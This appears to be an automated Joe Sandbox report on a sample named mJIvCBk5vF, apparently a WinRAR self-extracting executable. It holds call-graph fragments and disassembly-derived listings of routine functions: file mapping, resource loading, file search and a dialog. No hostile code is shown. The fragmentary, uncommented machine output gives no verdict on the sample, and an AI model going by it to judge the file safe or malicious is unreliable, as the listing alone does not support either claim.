da2cfe __InternalCxxFrameHandler 29886->29888 29887->29888 29895 d9e948 29887->29895 29890 da2d42 29888->29890 29912 d9fe6f 123 API calls __EH_prolog3 29888->29912 29892 da73f8 2 API calls 29890->29892 29893 da2d47 29892->29893 29893->29725 29894->29722 29896 d9e954 __EH_prolog3_GS 29895->29896 29897 d9e976 GetStdHandle 29896->29897 29901 d9e963 29896->29901 29911 d9e988 29896->29911 29897->29911 29898 db5787 5 API calls 29900 d9eaab 29898->29900 29899 d9e9df WriteFile 29899->29911 29900->29888 29901->29898 29902 d9e9af WriteFile 29904 d9e9ad 29902->29904 29902->29911 29904->29902 29904->29911 29905 d9ea77 29906 d914a7 28 API calls 29905->29906 29907 d9ea84 29906->29907 29914 d99653 109 API calls 29907->29914 29909 d9ea97 29910 d91a66 26 API calls 29909->29910 29910->29901 29911->29899 29911->29901 29911->29902 29911->29904 29911->29905 29913 d99230 111 API calls 29911->29913 29912->29890 29913->29911 29914->29909 29916->29513 29918->29530 29920 d9f835 __EH_prolog3_GS 29919->29920 29921 d9f925 FindNextFileW 29920->29921 29922 d9f847 FindFirstFileW 29920->29922 29924 d9f948 29921->29924 29925 d9f937 GetLastError 29921->29925 29922->29924 29926 d9f86a 29922->29926 29930 d914a7 28 API calls 29924->29930 29941 d9f90d 29925->29941 29927 da169a 47 API calls 29926->29927 29928 d9f88c 29927->29928 29931 d9f8ac 29928->29931 29935 d9f899 29928->29935 29936 d9f89c FindFirstFileW 29928->29936 29929 db5787 5 API calls 29932 d9f733 29929->29932 29933 d9f95f 29930->29933 29937 d9f8e8 29931->29937 29943 d919a9 26 API calls 29931->29943 29932->29304 29932->29308 29934 da229d 45 API calls 29933->29934 29938 d9f970 29934->29938 29935->29936 29936->29931 29937->29924 29939 d9f902 GetLastError 29937->29939 29940 d91a66 26 API calls 29938->29940 29939->29941 29940->29941 29941->29929 29943->29937 29948 d9d70b 29944->29948 29950 d9d6e5 29944->29950 29947 d9ec63 49 API calls 29947->29950 29980 d9d89e 29948->29980 29949 d9b231 26 API calls 29951 d9d74c 29949->29951 29950->29947 29950->29948 29952 d91a66 26 API calls 29951->29952 29953 d9d755 29952->29953 29954 d91a66 26 API calls 29953->29954 29955 d9d75e 29954->29955 29956 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 29955->29956 29957 d9b1bf 29956->29957 29957->29238 29964 da909b 29957->29964 29959 da28bb 29958->29959 29985 d9fb8e 29959->29985 29961 da28ed 29962 d9fb8e 118 API calls 29961->29962 29963 da28f8 29962->29963 29965 da90aa 29964->29965 29966 da74ec 118 API calls 29965->29966 29967 da90b9 29965->29967 29966->29967 29996 da4264 26 API calls 29967->29996 29969 da90e8 29997 da4264 26 API calls 29969->29997 29971 da90f3 29998 da4264 26 API calls 29971->29998 29973 da90fe 29999 da4288 26 API calls 29973->29999 29975 da9132 29976 d92e8b 26 API calls 29975->29976 29977 da913a 29976->29977 29978 d92e8b 26 API calls 29977->29978 29979 da9142 29978->29979 29981 d9d8a8 29980->29981 29982 d9d714 29980->29982 29984 d9ae77 26 API calls 29981->29984 29982->29949 29984->29982 29986 d9fbbb 29985->29986 29988 d9fbc2 29985->29988 29989 da74ec 29986->29989 29988->29961 29990 da77cf 113 API calls 29989->29990 29991 da7518 ReleaseSemaphore 29990->29991 29992 da7556 DeleteCriticalSection CloseHandle CloseHandle 29991->29992 29993 da7538 29991->29993 29992->29988 29994 da75ed 111 API calls 29993->29994 29995 da7542 CloseHandle 29994->29995 29995->29992 29995->29993 29996->29969 29997->29971 29998->29973 29999->29975 30009 daeac4 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 30000->30009 30002 daeaad 30003 daeab9 30002->30003 30010 daeae5 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 30002->30010 30003->29009 30003->29010 30005->29018 30006->29021 30007->29021 30008->29024 30009->30002 30010->30003 30011->29035 30013 d9e910 110 API calls 30012->30013 30014 d92dc7 30013->30014 30015 d92de4 30014->30015 30016 d927e0 133 API calls 30014->30016 30015->29044 30015->29045 30017 d92dd4 30016->30017 30017->30015 30023 d9204b 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 30017->30023 30020 d9279b 30019->30020 30022 d92797 30019->30022 30024 d926d2 30020->30024 30022->29050 30023->30015 30025 d926e4 30024->30025 30026 d92721 30024->30026 30027 d952d8 133 API calls 30025->30027 30032 d95767 30026->30032 30030 d92704 30027->30030 30030->30022 30035 d95770 30032->30035 30033 d952d8 133 API calls 30033->30035 30034 da73f8 2 API calls 30034->30035 30035->30033 30035->30034 30036 d92742 30035->30036 30036->30030 30037 d92c30 30036->30037 30038 d92c3c __EH_prolog3_GS 30037->30038 30059 d95365 30038->30059 30040 d92c8f 30050 d92d02 30040->30050 30095 d919a9 26 API calls 30040->30095 30041 d92c5a 30041->30040 30043 d92c91 30041->30043 30044 d92c86 30041->30044 30042 db5787 5 API calls 30046 d92d18 30042->30046 30048 d92cb9 30043->30048 30049 d92c9a 30043->30049 30091 da888c 28 API calls 30044->30091 30046->30030 30093 da8707 29 API calls 2 library calls 30048->30093 30092 da880e 28 API calls __EH_prolog3 30049->30092 30050->30042 30052 d92ca7 30054 d925a4 26 API calls 30052->30054 30056 d92caf 30054->30056 30055 d92cd2 30094 d92ed0 26 API calls 30055->30094 30058 d91a66 26 API calls 30056->30058 30058->30040 30060 d95380 30059->30060 30061 d953ca 30060->30061 30062 d953ae 30060->30062 30064 d95634 30061->30064 30067 d953f6 30061->30067 30096 d9204b 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 30062->30096 30102 d9204b 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 30064->30102 30066 d953b9 30068 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 30066->30068 30067->30066 30070 da9625 89 API calls 30067->30070 30069 d95659 30068->30069 30069->30041 30075 d95449 30070->30075 30071 d9547b 30072 d9550d 30071->30072 30090 d95472 30071->30090 30099 da2a36 115 API calls 30071->30099 30074 d9fd70 28 API calls 30072->30074 30073 d95477 30073->30071 30098 d9315d 28 API calls 30073->30098 30078 d95520 30074->30078 30075->30071 30075->30073 30076 d95467 30075->30076 30097 d9204b 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 30076->30097 30082 d955b9 30078->30082 30083 d955a9 30078->30083 30080 da909b 118 API calls 30080->30066 30085 da94ea 155 API calls 30082->30085 30084 d9d771 155 API calls 30083->30084 30086 d955b7 30084->30086 30085->30086 30100 d9fd28 5 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 30086->30100 30088 d955f1 30088->30090 30101 d932d2 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 30088->30101 30090->30080 30091->30040 30092->30052 30093->30055 30094->30040 30095->30050 30096->30066 30097->30090 30098->30071 30099->30072 30100->30088 30101->30090 30102->30066 30103 db4a07 30104 db4910 30103->30104 30105 db4fce ___delayLoadHelper2@8 17 API calls 30104->30105 30105->30104 30106 dc27e0 30107 dc27e9 30106->30107 30108 dc27f2 30106->30108 30110 dc26d7 30107->30110 30111 dc0005 _unexpected 38 API calls 30110->30111 30112 dc26e4 30111->30112 30130 dc27fe 30112->30130 30114 dc26ec 30139 dc246b 30114->30139 30117 dc2703 30117->30108 30120 dc2746 30123 dc03d4 _free 20 API calls 30120->30123 30122 dc2739 30124 dc2741 30122->30124 30127 dc275e 30122->30127 30123->30117 30154 dc01d3 20 API calls __dosmaperr 30124->30154 30126 dc278a 30126->30120 30155 dc2341 26 API calls 30126->30155 30127->30126 30128 dc03d4 _free 20 API calls 30127->30128 30128->30126 30131 dc280a __FrameHandler3::FrameUnwindToState 30130->30131 30132 dc0005 _unexpected 38 API calls 30131->30132 30133 dc2814 30132->30133 30136 dc2898 _abort 30133->30136 30138 dc03d4 _free 20 API calls 30133->30138 30156 dbfc3e 38 API calls _abort 30133->30156 30157 dc18e1 EnterCriticalSection 30133->30157 30158 dc288f LeaveCriticalSection _abort 30133->30158 30136->30114 30138->30133 30140 dbb543 __cftof 38 API calls 30139->30140 30141 dc247d 30140->30141 30142 dc248c GetOEMCP 30141->30142 30143 dc249e 30141->30143 30144 dc24b5 30142->30144 30143->30144 30145 dc24a3 GetACP 30143->30145 30144->30117 30146 dc040e 30144->30146 30145->30144 30147 dc044c 30146->30147 30148 dc041c __dosmaperr 30146->30148 30160 dc01d3 20 API calls __dosmaperr 30147->30160 30148->30147 30150 dc0437 RtlAllocateHeap 30148->30150 30159 dbe91a 7 API calls 2 library calls 30148->30159 30150->30148 30151 dc044a 30150->30151 30151->30120 30153 dc28a0 51 API calls 2 library calls 30151->30153 30153->30122 30154->30120 30155->30120 30157->30133 30158->30133 30159->30148 30160->30151 30161 d91125 30162 d976e7 30 API calls 30161->30162 30163 d9112a 30162->30163 30166 db6029 29 API calls 30163->30166 30165 d91134 30166->30165 30167 da0b05 30168 da0b17 _abort 30167->30168 30171 da76e5 30168->30171 30174 da76a7 GetCurrentProcess GetProcessAffinityMask 30171->30174 30175 da0b6f 30174->30175

                                                                                                                                                        Executed Functions

                                                                                                                                                        Function 00DB454A Relevance: 40.5, APIs: 18, Strings: 5, Instructions: 252filesleeptimeCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 502 db454a-db4612 call da6d7b call da1309 call daf4d4 call db71f0 call daf89a call daf84c GetCommandLineW 515 db46f9-db4722 call da13f9 call d925a4 call d91a66 502->515 516 db4618-db463c call d914a7 call db19ee call d91a66 502->516 529 db4729-db4831 SetEnvironmentVariableW GetLocalTime call d9f6ba SetEnvironmentVariableW GetModuleHandleW LoadIconW call db07e5 call da3538 call dad255 * 2 DialogBoxParamW call dad347 * 2 515->529 530 db4724 515->530 531 db46dc-db46eb call d914a7 call db3efc 516->531 532 db4642-db4659 OpenFileMappingW 516->532 566 db483a-db4841 529->566 567 db4833-db4834 Sleep 529->567 530->529 544 db46f0-db46f4 call d91a66 531->544 535 db465b-db4669 MapViewOfFile 532->535 536 db46d2-db46da CloseHandle 532->536 535->536 539 db466b-db4687 UnmapViewOfFile MapViewOfFile 535->539 536->515 539->536 542 db4689-db46cc call dafc38 call db3efc call da5109 call da51bf call da51f8 UnmapViewOfFile 539->542 542->536 544->515 568 db4848-db4865 call da5041 DeleteObject 566->568 569 db4843 call dafb4b 566->569 567->566 573 db486e-db4874 568->573 574 db4867-db4868 DeleteObject 568->574 569->568 575 db488e-db489c 573->575 576 db4876-db487d 573->576 574->573 577 db489e-db48aa call db3fcf CloseHandle 575->577 578 db48b0-db48bd 575->578 576->575 579 db487f-db4889 call d994b8 576->579 577->578 582 db48bf-db48cb 578->582 583 db48e1-db48e5 call daf53a 578->583 579->575 585 db48db-db48dd 582->585 586 db48cd-db48d5 582->586 590 db48ea-db4903 call db5734 583->590 585->583 589 db48df 585->589 586->583 588 db48d7-db48d9 586->588 588->583 589->583
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DA6D7B: GetModuleHandleW.KERNEL32(kernel32,D8943D1D), ref: 00DA6DC7
                                                                                                                                                          • Part of subcall function 00DA6D7B: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00DA6DD9
                                                                                                                                                          • Part of subcall function 00DA6D7B: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00DA6E03
                                                                                                                                                          • Part of subcall function 00DA1309: __EH_prolog3.LIBCMT ref: 00DA1310
                                                                                                                                                          • Part of subcall function 00DA1309: GetCurrentDirectoryW.KERNEL32(00000000,00000000,0000000C,00DA17FB,?,?,\\?\,D8943D1D,?,?,?,00000000,00DCA279,000000FF), ref: 00DA1319
                                                                                                                                                          • Part of subcall function 00DAF4D4: OleInitialize.OLE32(00000000), ref: 00DAF4ED
                                                                                                                                                          • Part of subcall function 00DAF4D4: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00DAF524
                                                                                                                                                          • Part of subcall function 00DAF4D4: SHGetMalloc.SHELL32(00DE532C), ref: 00DAF52E
                                                                                                                                                        • GetCommandLineW.KERNEL32 ref: 00DB4608
                                                                                                                                                        • OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp,?,00000000), ref: 00DB464F
                                                                                                                                                        • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000009,?,00000000), ref: 00DB4661
                                                                                                                                                        • UnmapViewOfFile.KERNEL32(00000000,?,00000000), ref: 00DB466F
                                                                                                                                                        • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,?,?,00000000), ref: 00DB467D
                                                                                                                                                          • Part of subcall function 00DAFC38: __EH_prolog3.LIBCMT ref: 00DAFC3F
                                                                                                                                                          • Part of subcall function 00DB3EFC: __EH_prolog3_GS.LIBCMT ref: 00DB3F03
                                                                                                                                                          • Part of subcall function 00DB3EFC: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?,?,?,?,?,?,00000028), ref: 00DB3F1B
                                                                                                                                                          • Part of subcall function 00DB3EFC: SetEnvironmentVariableW.KERNEL32(sfxpar,?,?,?,?,?,?,?,00000028), ref: 00DB3F86
                                                                                                                                                          • Part of subcall function 00DA51BF: _wcslen.LIBCMT ref: 00DA51E3
                                                                                                                                                        • UnmapViewOfFile.KERNEL32(00000000,00DE5430,00000400,00DE5430,00DE5430,00000400,00000000,00000001,?,00000000), ref: 00DB46CC
                                                                                                                                                        • CloseHandle.KERNEL32(00000000,?,00000000), ref: 00DB46D3
                                                                                                                                                        • SetEnvironmentVariableW.KERNEL32(sfxname,00DD9698,00000000), ref: 00DB472F
                                                                                                                                                        • GetLocalTime.KERNEL32(?), ref: 00DB473A
                                                                                                                                                        • _swprintf.LIBCMT ref: 00DB4779
                                                                                                                                                        • SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00DB478E
                                                                                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 00DB4795
                                                                                                                                                        • LoadIconW.USER32(00000000,00000064), ref: 00DB47AC
                                                                                                                                                        • DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_00020900,00000000), ref: 00DB4803
                                                                                                                                                        • Sleep.KERNELBASE(00001B58), ref: 00DB4834
                                                                                                                                                        • DeleteObject.GDI32 ref: 00DB4858
                                                                                                                                                        • DeleteObject.GDI32(03050D70), ref: 00DB4868
                                                                                                                                                          • Part of subcall function 00D914A7: _wcslen.LIBCMT ref: 00D914B8
                                                                                                                                                          • Part of subcall function 00DB19EE: __EH_prolog3_GS.LIBCMT ref: 00DB19F5
                                                                                                                                                        • CloseHandle.KERNEL32 ref: 00DB48AA
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: File$EnvironmentHandleVariableView$AddressCloseDeleteH_prolog3H_prolog3_ModuleObjectProcUnmap_wcslen$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingOpenParamSleepStartupTime_swprintf
                                                                                                                                                        • String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
                                                                                                                                                        • API String ID: 3142445277-3710569615
                                                                                                                                                        • Opcode ID: 3d0576f0ab7f63df1ec54c6af0e0116aa4d5732c9f8c2e423388420e86a8fb5c
                                                                                                                                                        • Instruction ID: 36e7a736a4ac2c5cdd5ae35582be3ea66b05e78e3cce1c38acb349eb550e6ce6
                                                                                                                                                        • Opcode Fuzzy Hash: 3d0576f0ab7f63df1ec54c6af0e0116aa4d5732c9f8c2e423388420e86a8fb5c
                                                                                                                                                        • Instruction Fuzzy Hash: B691BBB1504385EFD320FB65EC85BABB7E8EB49744F44082DF64AD6292EB749804CB31
                                                                                                                                                        Function 00DAEBD3 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100memorywindowCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 608 daebd3-daebf0 FindResourceW 609 daecec 608->609 610 daebf6-daec07 SizeofResource 608->610 611 daecee-daecf2 609->611 610->609 612 daec0d-daec1c LoadResource 610->612 612->609 613 daec22-daec2d LockResource 612->613 613->609 614 daec33-daec48 GlobalAlloc 613->614 615 daec4e-daec57 GlobalLock 614->615 616 daece4-daecea 614->616 617 daecdd-daecde GlobalFree 615->617 618 daec5d-daec7b call db6c70 CreateStreamOnHGlobal 615->618 616->611 617->616 621 daec7d-daec9f call daeb06 618->621 622 daecd6-daecd7 GlobalUnlock 618->622 621->622 627 daeca1-daeca9 621->627 622->617 628 daecab-daecbf GdipCreateHBITMAPFromBitmap 627->628 629 daecc4-daecd2 627->629 628->629 630 daecc1 628->630 629->622 630->629
                                                                                                                                                        APIs
                                                                                                                                                        • FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00DB0845,00000066), ref: 00DAEBE6
                                                                                                                                                        • SizeofResource.KERNEL32(00000000,?,?,?,00DB0845,00000066), ref: 00DAEBFD
                                                                                                                                                        • LoadResource.KERNEL32(00000000,?,?,?,00DB0845,00000066), ref: 00DAEC14
                                                                                                                                                        • LockResource.KERNEL32(00000000,?,?,?,00DB0845,00000066), ref: 00DAEC23
                                                                                                                                                        • GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00DB0845,00000066), ref: 00DAEC3E
                                                                                                                                                        • GlobalLock.KERNEL32(00000000), ref: 00DAEC4F
                                                                                                                                                        • CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00DAEC73
                                                                                                                                                        • GlobalUnlock.KERNEL32(00000000), ref: 00DAECD7
                                                                                                                                                          • Part of subcall function 00DAEB06: GdipAlloc.GDIPLUS(00000010), ref: 00DAEB0C
                                                                                                                                                        • GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00DAECB8
                                                                                                                                                        • GlobalFree.KERNEL32(00000000), ref: 00DAECDE
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
                                                                                                                                                        • String ID: PNG
                                                                                                                                                        • API String ID: 211097158-364855578
                                                                                                                                                        • Opcode ID: f66265ebb4198e216d34ee9fc42a91475c7b8cce6af46eb6f86f84d5adac7b4c
                                                                                                                                                        • Instruction ID: 48788eb24f31ef0bf513ea018cd83ac5ced3733c4ac8952c30971d48a39b3c13
                                                                                                                                                        • Opcode Fuzzy Hash: f66265ebb4198e216d34ee9fc42a91475c7b8cce6af46eb6f86f84d5adac7b4c
                                                                                                                                                        • Instruction Fuzzy Hash: B0314D71610703AFD720AF62DD48D2BBFA8FF85764B080529F909D2361EB31D841CA70
                                                                                                                                                        Function 00DA355D Relevance: 14.8, APIs: 2, Strings: 6, Instructions: 753COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DA8781: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,D8943D1D,00000007,?,?,?,00DA8751,?,?,?,?,0000000C,00D94426), ref: 00DA879D
                                                                                                                                                        • _wcslen.LIBCMT ref: 00DA395A
                                                                                                                                                        • __fprintf_l.LIBCMT ref: 00DA3AA7
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ByteCharMultiWide__fprintf_l_wcslen
                                                                                                                                                        • String ID: ,$$%s:$*messages***$*messages***$@%s:$RTL
                                                                                                                                                        • API String ID: 1796436225-285229759
                                                                                                                                                        • Opcode ID: b3b1f3270ca4a36ae31c96e8a1333a765cc6c57fc020ca26084e0d39550a7530
                                                                                                                                                        • Instruction ID: 832c11776c87834b844fe28a884a5b3f267cef4089983669bbb0442cbb725c65
                                                                                                                                                        • Opcode Fuzzy Hash: b3b1f3270ca4a36ae31c96e8a1333a765cc6c57fc020ca26084e0d39550a7530
                                                                                                                                                        • Instruction Fuzzy Hash: 10529171900259EBDF24DFA8CC85AEEB7B6FF05710F14052AF506AB281EB719A45CB70
                                                                                                                                                        Function 00D9F826 Relevance: 9.1, APIs: 6, Instructions: 139fileCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 1006 d9f826-d9f841 call db57d8 1009 d9f925-d9f935 FindNextFileW 1006->1009 1010 d9f847-d9f84d 1006->1010 1013 d9f948-d9f9fa call d925c3 call d914a7 call da229d call d91a66 call da7c44 * 3 1009->1013 1014 d9f937-d9f946 GetLastError 1009->1014 1011 d9f84f 1010->1011 1012 d9f851-d9f864 FindFirstFileW 1010->1012 1011->1012 1012->1013 1015 d9f86a-d9f88e call da169a 1012->1015 1019 d9f9ff-d9fa0a call db5787 1013->1019 1016 d9f91d-d9f920 1014->1016 1024 d9f8ac-d9f8b6 1015->1024 1025 d9f890-d9f897 1015->1025 1016->1019 1031 d9f8b8-d9f8d3 1024->1031 1032 d9f8fd-d9f900 1024->1032 1029 d9f899 1025->1029 1030 d9f89c-d9f8aa FindFirstFileW 1025->1030 1029->1030 1030->1024 1035 d9f8d5-d9f8ee call d919a9 1031->1035 1036 d9f8f4-d9f8fc call db5726 1031->1036 1032->1013 1034 d9f902-d9f90b GetLastError 1032->1034 1039 d9f91b 1034->1039 1040 d9f90d-d9f910 1034->1040 1035->1036 1036->1032 1039->1016 1040->1039 1044 d9f912-d9f915 1040->1044 1044->1039 1047 d9f917-d9f919 1044->1047 1047->1016
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D9F830
                                                                                                                                                        • FindFirstFileW.KERNELBASE(?,?,00000274,00D9F733,000000FF,00000049,00000049,?,?,00D9A684,?,?,00000000,?,?,?), ref: 00D9F859
                                                                                                                                                        • FindFirstFileW.KERNEL32(?,?,?,?,?,00D9D303,?,?,?,?,?,?,?,D8943D1D,00000049), ref: 00D9F8A4
                                                                                                                                                        • GetLastError.KERNEL32(?,?,?,00D9D303,?,?,?,?,?,?,?,D8943D1D,00000049,?,00000000), ref: 00D9F902
                                                                                                                                                        • FindNextFileW.KERNEL32(?,?,00000274,00D9F733,000000FF,00000049,00000049,?,?,00D9A684,?,?,00000000,?,?,?), ref: 00D9F92D
                                                                                                                                                        • GetLastError.KERNEL32(?,00D9D303,?,?,?,?,?,?,?,D8943D1D,00000049,?,00000000), ref: 00D9F93A
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FileFind$ErrorFirstLast$H_prolog3_Next
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3831798110-0
                                                                                                                                                        • Opcode ID: 0acca9053315883a2b18225131e705c7b2f0e755dee6d2890ad1752bb08fc9e7
                                                                                                                                                        • Instruction ID: 842ebc74a58185c783076fdbaeea3dc862df4bd21a0ba17d633daed62d9a6238
                                                                                                                                                        • Opcode Fuzzy Hash: 0acca9053315883a2b18225131e705c7b2f0e755dee6d2890ad1752bb08fc9e7
                                                                                                                                                        • Instruction Fuzzy Hash: DA51FE75904619EFCF54DF64D889AEDB7B4FB09320F1402A9E519E3290DB30AA95CF70
                                                                                                                                                        Function 00D9BF3D Relevance: 5.0, APIs: 1, Strings: 1, Instructions: 1497COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • _wcslen.LIBCMT ref: 00D9C342
                                                                                                                                                          • Part of subcall function 00DA2095: __EH_prolog3_GS.LIBCMT ref: 00DA209C
                                                                                                                                                          • Part of subcall function 00D957C0: __EH_prolog3.LIBCMT ref: 00D957C7
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3H_prolog3__wcslen
                                                                                                                                                        • String ID: __tmp_reference_source_
                                                                                                                                                        • API String ID: 1523997010-685763994
                                                                                                                                                        • Opcode ID: 81d8830c6e4ec92948762c2b86f64da70a293f25bf4e29b8cea8e63c812c50fc
                                                                                                                                                        • Instruction ID: 221afd4c2ce3bd4b69f27c1a51a7d1484877f46c84a9a05c51e6e1fa2c2677a7
                                                                                                                                                        • Opcode Fuzzy Hash: 81d8830c6e4ec92948762c2b86f64da70a293f25bf4e29b8cea8e63c812c50fc
                                                                                                                                                        • Instruction Fuzzy Hash: 88D2B371914289AFDF29DFB4C891BEEBBB5FF05304F08051AE49A97241DB34A949CB70
                                                                                                                                                        Function 00DBECAA Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
